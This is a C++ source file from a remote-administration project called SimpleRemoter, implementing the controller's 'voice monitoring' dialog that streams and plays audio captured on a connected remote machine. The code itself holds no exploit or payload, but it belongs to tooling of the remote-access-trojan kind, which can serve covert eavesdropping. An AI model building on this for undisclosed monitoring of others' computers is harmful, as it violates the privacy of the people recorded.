Files
SimpleRemoter/server/2015Remote/AudioDlg.cpp
2025-01-15 00:04:39 +08:00

145 lines
3.4 KiB
C++

// AudioDlg.cpp : 实现文件
//
#include "stdafx.h"
#include "2015Remote.h"
#include "AudioDlg.h"
#include "afxdialogex.h"
// CAudioDlg 对话框
IMPLEMENT_DYNAMIC(CAudioDlg, CDialog)
CAudioDlg::CAudioDlg(CWnd* pParent, IOCPServer* IOCPServer, CONTEXT_OBJECT *ContextObject)
: CDialog(CAudioDlg::IDD, pParent)
, m_bSend(FALSE)
{
m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_ICON_AUDIO)); //处理图标
m_bIsWorking = TRUE;
m_bThreadRun = FALSE;
m_iocpServer = IOCPServer; //为类的成员变量赋值
m_ContextObject = ContextObject;
m_hWorkThread = NULL;
m_nTotalRecvBytes = 0;
sockaddr_in ClientAddress;
memset(&ClientAddress, 0, sizeof(ClientAddress)); //得到被控端ip
int iClientAddressLen = sizeof(ClientAddress);
BOOL bResult = getpeername(m_ContextObject->sClientSocket,(SOCKADDR*)&ClientAddress, &iClientAddressLen);
m_strIPAddress = bResult != INVALID_SOCKET ? inet_ntoa(ClientAddress.sin_addr) : "";
}
CAudioDlg::~CAudioDlg()
{
m_bIsWorking = FALSE;
while (m_bThreadRun)
Sleep(50);
}
void CAudioDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
DDX_Check(pDX, IDC_CHECK, m_bSend);
}
BEGIN_MESSAGE_MAP(CAudioDlg, CDialog)
ON_WM_CLOSE()
ON_BN_CLICKED(IDC_CHECK, &CAudioDlg::OnBnClickedCheck)
END_MESSAGE_MAP()
// CAudioDlg 消息处理程序
BOOL CAudioDlg::OnInitDialog()
{
CDialog::OnInitDialog();
SetIcon(m_hIcon,FALSE);
CString strString;
strString.Format("%s - 语音监听", m_strIPAddress);
SetWindowText(strString);
BYTE bToken = COMMAND_NEXT;
m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(BYTE));
//启动线程 判断CheckBox
m_hWorkThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, (LPVOID)this, 0, NULL);
m_bThreadRun = m_hWorkThread ? TRUE : FALSE;
GetDlgItem(IDC_CHECK)->EnableWindow(TRUE);
return TRUE; // return TRUE unless you set the focus to a control
// 异常: OCX 属性页应返回 FALSE
}
DWORD CAudioDlg::WorkThread(LPVOID lParam)
{
CAudioDlg *This = (CAudioDlg *)lParam;
while (This->m_bIsWorking)
{
if (!This->m_bSend)
{
WAIT(This->m_bIsWorking, 1, 50);
continue;
}
DWORD dwBufferSize = 0;
LPBYTE szBuffer = This->m_AudioObject.GetRecordBuffer(&dwBufferSize); //播放声音
if (szBuffer != NULL && dwBufferSize > 0)
This->m_iocpServer->OnClientPreSending(This->m_ContextObject, szBuffer, dwBufferSize); //没有消息头
}
This->m_bThreadRun = FALSE;
return 0;
}
void CAudioDlg::OnReceiveComplete(void)
{
m_nTotalRecvBytes += m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1; //1000+ =1000 1
CString strString;
strString.Format("Receive %d KBytes", m_nTotalRecvBytes / 1024);
SetDlgItemText(IDC_TIPS, strString);
switch (m_ContextObject->InDeCompressedBuffer.GetBYTE(0))
{
case TOKEN_AUDIO_DATA:
{
Buffer tmp = m_ContextObject->InDeCompressedBuffer.GetMyBuffer(1);
m_AudioObject.PlayBuffer(tmp.Buf(), tmp.length()); //播放波形数据
break;
}
default:
// 传输发生异常数据
break;
}
}
void CAudioDlg::OnClose()
{
// TODO: 在此添加消息处理程序代码和/或调用默认值
#if CLOSE_DELETE_DLG
m_ContextObject->v1 = 0;
#endif
CancelIo((HANDLE)m_ContextObject->sClientSocket);
closesocket(m_ContextObject->sClientSocket);
m_bIsWorking = FALSE;
WaitForSingleObject(m_hWorkThread, INFINITE);
CDialog::OnClose();
#if CLOSE_DELETE_DLG
delete this;
#endif
}
// 处理是否发送本地语音到远程
void CAudioDlg::OnBnClickedCheck()
{
UpdateData(true);
}